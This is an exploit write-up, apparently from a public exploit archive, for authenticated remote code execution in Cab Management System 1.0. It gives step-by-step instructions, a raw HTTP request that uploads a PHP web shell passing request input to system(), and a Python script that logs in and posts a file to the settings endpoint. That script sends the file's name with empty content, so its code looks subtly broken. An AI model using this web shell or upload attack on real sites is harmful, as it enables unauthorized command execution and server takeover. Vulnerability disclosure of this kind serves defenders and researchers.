Cab Management System 1.0 Remote Code Execution

`# Exploit Title: Cab Management System 1.0 - Remote Code Execution (RCE) (Authenticated)  
# Exploit Author: Alperen Ergel  
# Contact: @alpernae (IG/TW)  
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html  
# Version : 1.0  
# Tested on: windows 10 xammp | Kali linux  
# Category: WebApp  
# Google Dork: N/A  
# Date: 18.02.2022  
######## Description ########  
#  
#   
# Step 1: Login admin account and go settings of site  
# Step 2: Update web site icon and selecet a webshell.php  
# Step3 : Upload your webshell that's it...  
#  
######## Proof of Concept ########  
  
========>>> START REQUEST <<<=========  
  
POST /cms/classes/SystemSettings.php?f=update_settings HTTP/1.1  
Host: localhost  
Content-Length: 11338  
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"  
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/cms/admin/?page=system_info  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml  
Connection: close  
  
  
<-- SNIPP HERE -->  
------WebKitFormBoundaryc5vp1oayEolowCbb  
Content-Disposition: form-data; name="img"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>  
------WebKitFormBoundaryc5vp1oayEolowCbb  
Content-Disposition: form-data; name="cover"; filename=""  
Content-Type: application/octet-stream  
------WebKitFormBoundaryc5vp1oayEolowCbb--  
<-- SNIPP HERE -->  
  
========>>> END REQUEST <<<=========  
  
  
========>>> EXPLOIT CODE <<<=========  
  
  
import requests  
print("""  
--------------------------------------------  
| |  
| Author: Alperen Ergel (@alpernae) |  
| |   
| CAB Management System v1 Exploit |  
| |  
--------------------------------------------  
""")  
username = input("Username: ")  
password = input("Password: ")  
URL = input("Domain: ")  
  
burp0_url = "http://" + URL + "/cms/classes/Login.php?f=login"  
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://192.168.1.33", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://192.168.1.33/cms/admin/login.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}  
burp0_data = {"username": username, "password": password}  
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)  
  
  
FILE = input("File: ")  
  
burp0_url = "http://" + URL + "/cms/classes/SystemSettings.php?f=update_settings"  
burp0_headers = {"sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"98\"", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryc5vp1oayEolowCbb", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "sec-ch-ua-platform": "\"Windows\"", "Origin": "http://localhost", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost/cms/admin/?page=system_info", "Accept-Encoding": "gzip, deflate", "Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}  
burp0_data = "------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nCab Management System\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nCMS - PHP\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[welcome]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"content[about]\"\r\n\r\n<ptest</p>\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"files\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"img\"; filename=\"" + FILE + "\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb\r\nContent-Disposition: form-data; name=\"cover\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryc5vp1oayEolowCbb--\r\n"  
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)  
  
`